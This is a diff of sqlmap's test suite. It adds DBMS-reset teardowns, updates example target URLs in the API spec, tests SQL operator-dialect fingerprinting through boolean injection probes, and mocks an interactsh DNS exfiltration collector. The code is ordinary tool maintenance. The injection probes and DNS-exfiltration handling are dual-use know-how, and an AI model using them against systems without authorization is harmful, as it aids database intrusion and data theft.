||||
value:
|
||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
||||
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||
responses:
|
||||
"200":
|
||||
description: Options set, or an API-level failure envelope.
|
||||
|
|
@ -341,7 +341,7 @@ paths:
|
|||
examples:
|
||||
basicUrlScan:
|
||||
value:
|
||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
||||
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||
responses:
|
||||
"200":
|
||||
description: Scan started, or an API-level failure envelope.
|
||||
|
|
@ -568,7 +568,7 @@ paths:
|
|||
description: Target output-directory name.
|
||||
schema:
|
||||
type: string
|
||||
example: testasp.vulnweb.com
|
||||
example: sekumart.sekuripy.hr
|
||||
- name: filename
|
||||
in: path
|
||||
required: true
|
||||
|
|
@ -788,7 +788,7 @@ components:
|
|||
additionalProperties:
|
||||
$ref: "#/components/schemas/OptionValue"
|
||||
example:
|
||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
||||
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||
cookie: "id=1"
|
||||
batch: true
|
||||
threads: 1
|
||||
|
|
|
|||
|
|
@ -98,6 +98,22 @@ def set_dbms(name):
|
|||
Backend.forceDbms(name)
|
||||
|
||||
|
||||
def reset_dbms():
|
||||
"""Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state.
|
||||
|
||||
A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a
|
||||
module that forces one without clearing it would leak that back-end into later test modules
|
||||
(order-dependent flakiness). Modules that call set_dbms() should expose this as their
|
||||
`tearDownModule` so the leak can never cross a module boundary.
|
||||
"""
|
||||
from lib.core.common import Backend
|
||||
from lib.core.data import kb
|
||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||
Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False
|
||||
kb.resolutionDbms = None
|
||||
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||
|
||||
|
||||
# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) ---
|
||||
|
||||
_PROPERTY_BASE = 0x51A1
|
||||
|
|
|
|||
|
|
@ -34,7 +34,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.agent import agent
|
||||
|
|
@ -766,3 +766,7 @@ class TestAgentWhereQuery(unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -86,6 +86,7 @@ class _ApiServerCase(unittest.TestCase):
|
|||
"""
|
||||
|
||||
def setUp(self):
|
||||
self._saved_batch = conf.batch
|
||||
conf.batch = True
|
||||
|
||||
# snapshot mutated globals
|
||||
|
|
@ -122,6 +123,7 @@ class _ApiServerCase(unittest.TestCase):
|
|||
api.DataStore.username = self._saved["username"]
|
||||
api.DataStore.password = self._saved["password"]
|
||||
api.Database.filepath = self._saved["filepath"]
|
||||
conf.batch = self._saved_batch
|
||||
|
||||
def _new_task(self):
|
||||
code, parsed, _ = _wsgi_call("GET", "/task/new")
|
||||
|
|
|
|||
|
|
@ -28,14 +28,26 @@ from lib.core.bigarray import BigArray
|
|||
N = 5000
|
||||
|
||||
|
||||
_SPILLED = []
|
||||
|
||||
def _make_spilled():
|
||||
# tiny chunk_size guarantees many on-disk chunks for N items
|
||||
ba = BigArray(chunk_size=1024)
|
||||
for i in range(N):
|
||||
ba.append("item-%d" % i)
|
||||
_SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files)
|
||||
return ba
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
for ba in _SPILLED:
|
||||
try:
|
||||
ba.close()
|
||||
except Exception:
|
||||
pass
|
||||
del _SPILLED[:]
|
||||
|
||||
|
||||
class TestSpill(unittest.TestCase):
|
||||
def test_actually_spilled_to_disk(self):
|
||||
ba = _make_spilled()
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
|
|
@ -196,3 +196,7 @@ class TestBrute(DbmsStateMixin, unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -53,9 +53,10 @@ _CONF_KEYS = (
|
|||
"notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data",
|
||||
"hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor",
|
||||
"tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon",
|
||||
"ipv6", "multipleTargets", "level", "base64Parameter", "batch",
|
||||
"ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles",
|
||||
)
|
||||
_KB_KEYS = (
|
||||
"pageTemplate", "negativeLogic",
|
||||
"heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime",
|
||||
"originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding",
|
||||
"heuristicTest", "heuristicPage", "heuristicCode", "pageStable",
|
||||
|
|
|
|||
|
|
@ -19,14 +19,16 @@ irrelevant. Temp files go to the session scratchpad and are removed.
|
|||
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||
"""
|
||||
|
||||
import atexit
|
||||
import base64
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb, paths
|
||||
|
|
@ -119,7 +121,8 @@ from lib.core.common import (
|
|||
zeroDepthSearch,
|
||||
)
|
||||
|
||||
SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad"
|
||||
SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path)
|
||||
atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True))
|
||||
|
||||
|
||||
def _write_temp(content, suffix):
|
||||
|
|
@ -1317,10 +1320,9 @@ class TestCommonChunkSplit(unittest.TestCase):
|
|||
random.choice, random.randint, random.sample, random.seed = _saved
|
||||
|
||||
def test_chunk_split_terminator(self):
|
||||
import random
|
||||
from lib.core.common import chunkSplitPostData
|
||||
random.seed(123)
|
||||
# regardless of content, the chunked stream must end with the zero-length terminator
|
||||
# (assertion is seed-independent, so don't touch the global RNG)
|
||||
self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n"))
|
||||
|
||||
|
||||
|
|
@ -1714,3 +1716,7 @@ class TestCheckOldOptions(unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -21,7 +21,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
|
||||
bootstrap()
|
||||
|
||||
|
|
@ -61,7 +61,7 @@ class _BaseEnumTest(unittest.TestCase):
|
|||
|
||||
# conf keys every test may read/write
|
||||
_CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude",
|
||||
"getComments", "excludeSysDbs", "search", "freshQueries")
|
||||
"getComments", "excludeSysDbs", "search", "freshQueries", "threads")
|
||||
|
||||
def setUp(self):
|
||||
self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS}
|
||||
|
|
@ -117,6 +117,7 @@ class _BaseEnumTest(unittest.TestCase):
|
|||
"""Take the blind inference branch: conf.direct off, a BOOLEAN technique present."""
|
||||
conf.direct = False
|
||||
conf.technique = None
|
||||
conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch)
|
||||
kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}}
|
||||
|
||||
|
||||
|
|
@ -533,7 +534,7 @@ class TestGetProcedures(_BaseEnumTest):
|
|||
|
||||
class _DbBase(unittest.TestCase):
|
||||
_CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude",
|
||||
"getComments", "excludeSysDbs", "search", "freshQueries")
|
||||
"getComments", "excludeSysDbs", "search", "freshQueries", "threads")
|
||||
|
||||
def setUp(self):
|
||||
self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS}
|
||||
|
|
@ -588,6 +589,7 @@ class _DbBase(unittest.TestCase):
|
|||
def _inference(self):
|
||||
conf.direct = False
|
||||
conf.technique = None
|
||||
conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch)
|
||||
kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}}
|
||||
|
||||
|
||||
|
|
@ -765,3 +767,7 @@ class TestDatabasesBruteForce(_DbBase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -24,7 +24,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.common import Backend
|
||||
|
|
@ -720,3 +720,7 @@ class TestHSQLDBEnum(_EnumBaseB):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.agent import agent
|
||||
|
|
@ -105,3 +105,7 @@ class TestForgeUnionQuery(unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -4,13 +4,13 @@
|
|||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth
|
||||
table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines
|
||||
on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end
|
||||
DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous
|
||||
map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour
|
||||
(the probes producing these signatures through a real boolean injection) is exercised against
|
||||
the live platform, not here.
|
||||
Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table:
|
||||
the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live
|
||||
SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the
|
||||
expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an
|
||||
unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to
|
||||
None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing
|
||||
these signatures through a real boolean injection) is exercised against the live platform, not here.
|
||||
"""
|
||||
|
||||
import os
|
||||
|
|
@ -26,78 +26,80 @@ from lib.core.data import kb
|
|||
from lib.core.enums import DBMS
|
||||
from lib.utils.dialect import _classify
|
||||
from lib.utils.dialect import dialectCheckDbms
|
||||
from lib.utils.dialect import DIALECT_CANARY
|
||||
|
||||
# measured 2026-06 across the sqli-platform (boolean form "id=2 AND <probe>", anchor value 2);
|
||||
# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs-
|
||||
# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the
|
||||
# shift flag does NOT change the classification, which the test proves by trying it both ways.
|
||||
# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS.
|
||||
# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so
|
||||
# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint.
|
||||
MEASURED = {
|
||||
"mysql": ((True, False, False, True), DBMS.MYSQL),
|
||||
"mysql5": ((True, False, False, True), DBMS.MYSQL),
|
||||
"tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible
|
||||
"postgres": ((False, True, True, True), DBMS.PGSQL),
|
||||
"cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division)
|
||||
"cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family
|
||||
"sqlite": ((False, False, True, True), DBMS.SQLITE),
|
||||
"mysql": ((True, False, False, True, True), DBMS.MYSQL),
|
||||
"mysql5": ((True, False, False, True, True), DBMS.MYSQL),
|
||||
"tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible
|
||||
"postgres": ((False, True, True, True, True), DBMS.PGSQL),
|
||||
"cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<')
|
||||
"cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<')
|
||||
"mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift
|
||||
"monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<'
|
||||
"sqlite": ((False, False, True, True, True), DBMS.SQLITE),
|
||||
# not distinctive enough -> deliberately no prior (operators alone can't safely separate these)
|
||||
"firebird": ((False, False, True, False), None),
|
||||
"hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2
|
||||
"derby": ((False, False, True, False), None),
|
||||
"h2": ((False, False, True, False), None),
|
||||
"trino": ((False, False, True, False), None),
|
||||
"iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel
|
||||
"clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel
|
||||
}
|
||||
|
||||
# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv)
|
||||
# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does.
|
||||
SHIFT_SENSITIVE = {
|
||||
"mssql": ((True, False, True, True, False), DBMS.MSSQL),
|
||||
"monetdb": ((True, False, True, True, True), DBMS.MONETDB),
|
||||
"firebird": ((False, False, True, False, False), None),
|
||||
"hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino
|
||||
"derby": ((False, False, True, False, False), None),
|
||||
"h2": ((False, False, True, False, False), None),
|
||||
"trino": ((False, False, True, False, False), None),
|
||||
"iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
|
||||
"clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
|
||||
}
|
||||
|
||||
|
||||
class TestDialectClassification(unittest.TestCase):
|
||||
def test_shift_sensitive_engines_split_correctly(self):
|
||||
# MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift
|
||||
# probe); 1<<2=4 (MonetDB only) now separates them.
|
||||
for engine, (signature, expected) in SHIFT_SENSITIVE.items():
|
||||
def test_measured_engines_map_as_expected(self):
|
||||
# each engine's exact measured 5-probe signature maps to its expected DBMS (or None)
|
||||
for engine, (signature, expected) in MEASURED.items():
|
||||
self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine)
|
||||
|
||||
def test_measured_engines_map_as_expected(self):
|
||||
# for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the
|
||||
# expected DBMS (proves the new probe never perturbs the existing classifications).
|
||||
for engine, (base, expected) in MEASURED.items():
|
||||
for shift in (False, True):
|
||||
self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift))
|
||||
def test_shift_splits_monetdb_from_mssql(self):
|
||||
# MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe);
|
||||
# 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator.
|
||||
self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL)
|
||||
self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB)
|
||||
|
||||
def test_no_false_positive_across_measured_set(self):
|
||||
# non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None),
|
||||
# never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive)
|
||||
# engines, so assert it both ways.
|
||||
for engine, (base, expected) in MEASURED.items():
|
||||
for shift in (False, True):
|
||||
result = _classify(base + (shift,))
|
||||
self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected))
|
||||
# the only non-None DBMS priors the measured set can yield (sanity on the mapping itself)
|
||||
produced = set(expected for _, expected in MEASURED.values() if expected is not None)
|
||||
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE})
|
||||
def test_whitelist_is_exact_no_false_positive(self):
|
||||
# only the measured classifying signatures may yield a DBMS; everything else -> None.
|
||||
classifying = set(sig for sig, exp in MEASURED.values() if exp is not None)
|
||||
produced = set(exp for _, exp in MEASURED.values() if exp is not None)
|
||||
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE})
|
||||
# exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one
|
||||
for bits in range(32):
|
||||
sig = tuple(bool(bits & (1 << i)) for i in range(5))
|
||||
result = _classify(sig)
|
||||
if sig not in classifying:
|
||||
self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result))
|
||||
|
||||
def test_all_true_noise_is_rejected(self):
|
||||
# a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive
|
||||
# oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and
|
||||
# exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL).
|
||||
self.assertIsNone(_classify((True, True, True, True, True)))
|
||||
|
||||
def test_all_error_signature_yields_no_prior(self):
|
||||
# an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not
|
||||
# distinctive enough - it must NOT be guessed as any DBMS
|
||||
# an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not
|
||||
# distinctive - it must NOT be guessed as any DBMS
|
||||
self.assertIsNone(_classify((False, False, False, False, False)))
|
||||
self.assertIsNone(_classify((False, False, False, False, True)))
|
||||
|
||||
def test_pgpow_dominates_as_postgres_marker(self):
|
||||
# exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour
|
||||
self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL)
|
||||
self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL)
|
||||
def test_pgpow_alone_is_not_enough(self):
|
||||
# exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full
|
||||
# signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise
|
||||
# from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim).
|
||||
self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL
|
||||
self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature
|
||||
|
||||
|
||||
class TestDialectCheckDbmsGuard(unittest.TestCase):
|
||||
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good
|
||||
channel, and None (no prior) whenever the channel is unreliable - the safety contract."""
|
||||
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel,
|
||||
and None (no prior) whenever the channel is unreliable - the safety contract, including the
|
||||
canary that turns a trashy false-positive channel into a true negative."""
|
||||
|
||||
def _run(self, truth):
|
||||
# truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection
|
||||
|
|
@ -111,11 +113,13 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
|
|||
kb.injection = saved
|
||||
|
||||
def test_identifies_mysql_on_good_channel(self):
|
||||
truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True}
|
||||
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
|
||||
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True}
|
||||
self.assertEqual(self._run(truth), DBMS.MYSQL)
|
||||
|
||||
def test_identifies_postgres_on_good_channel(self):
|
||||
truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True}
|
||||
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
|
||||
"2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}
|
||||
self.assertEqual(self._run(truth), DBMS.PGSQL)
|
||||
|
||||
def test_none_on_blocked_channel(self):
|
||||
|
|
@ -124,7 +128,16 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
|
|||
|
||||
def test_none_on_static_channel(self):
|
||||
# a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None
|
||||
self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True}))
|
||||
self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True,
|
||||
"2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}))
|
||||
|
||||
def test_none_when_canary_reads_true(self):
|
||||
# THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even
|
||||
# yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the
|
||||
# channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS.
|
||||
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True,
|
||||
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL
|
||||
self.assertIsNone(self._run(truth))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
|
|
|||
|
|
@ -38,7 +38,7 @@ import time
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.agent import agent
|
||||
|
|
@ -188,7 +188,7 @@ class _DnsCase(unittest.TestCase):
|
|||
finally:
|
||||
c.close()
|
||||
served[0] += len(chunk)
|
||||
for _ in range(100):
|
||||
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
|
||||
with self.server._lock:
|
||||
if any(host.encode() in r for r in self.server._requests):
|
||||
break
|
||||
|
|
@ -313,7 +313,7 @@ class TestDnsLabelInvariant(_DnsCase):
|
|||
finally:
|
||||
c.close()
|
||||
served[0] += len(chunk)
|
||||
for _ in range(100):
|
||||
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
|
||||
with self.server._lock:
|
||||
matched = [r for r in self.server._requests if host.encode() in r]
|
||||
if matched:
|
||||
|
|
@ -394,3 +394,7 @@ class TestDnsChannelDetection(_DnsCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -23,7 +23,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
|||
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), ".."))
|
||||
|
||||
from lib.core.settings import MAX_DNS_REQUESTS
|
||||
from lib.request.dns import DNSQuery, DNSServer
|
||||
from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer
|
||||
|
||||
|
||||
def build_query(name, tid=b"\x12\x34", qtype=1):
|
||||
|
|
@ -324,3 +324,42 @@ class TestDNSServerConcurrency(unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
class TestInteractshDNSServer(unittest.TestCase):
|
||||
"""The interactsh-backed DNS collector must present the same pop(prefix, suffix)
|
||||
accounting as DNSServer, matching only prefix.<result>.suffix names and never
|
||||
returning the same captured lookup twice."""
|
||||
|
||||
def _collector(self, names):
|
||||
class _FakeClient(object):
|
||||
registered = True
|
||||
def dnsDomain(self): return "corr0000000000000nnc.oast.fun"
|
||||
def dnsNames(self): return list(names)
|
||||
srv = InteractshDNSServer.__new__(InteractshDNSServer)
|
||||
srv._client = _FakeClient()
|
||||
srv.domain = srv._client.dnsDomain()
|
||||
srv._seen = set()
|
||||
srv._running = True
|
||||
srv._initialized = True
|
||||
srv._POLL_TRIES = 1 # no real sleeps in unit tests
|
||||
return srv
|
||||
|
||||
def test_pop_matches_prefix_suffix_and_dedups(self):
|
||||
names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"]
|
||||
srv = self._collector(names)
|
||||
got = srv.pop("aaa", "zzz")
|
||||
self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc")
|
||||
self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed
|
||||
|
||||
def test_pop_no_match(self):
|
||||
srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"])
|
||||
self.assertIsNone(srv.pop("aaa", "zzz"))
|
||||
|
||||
def test_pop_any(self):
|
||||
srv = self._collector(["whatever.corr0000000000000nnc"])
|
||||
self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc")
|
||||
|
||||
def test_run_is_noop(self):
|
||||
self._collector([]).run() # must not raise
|
||||
|
||||
|
|
|
|||
|
|
@ -27,7 +27,7 @@ import unittest
|
|||
from collections import OrderedDict as _PlainOrderedDict
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
from _testutils import bootstrap, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.common import Backend
|
||||
|
|
@ -408,3 +408,7 @@ class TestReplication(unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -26,7 +26,7 @@ import unittest
|
|||
from collections import OrderedDict
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
from _testutils import bootstrap, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.common import Backend
|
||||
|
|
@ -165,3 +165,7 @@ class TestJsonlContract(_JsonlDumpCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
|
||||
bootstrap()
|
||||
|
||||
|
|
@ -800,3 +800,7 @@ class TestEntriesInference(_EntriesBase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
|
|
@ -111,3 +111,7 @@ class TestOneShotErrorUse(unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
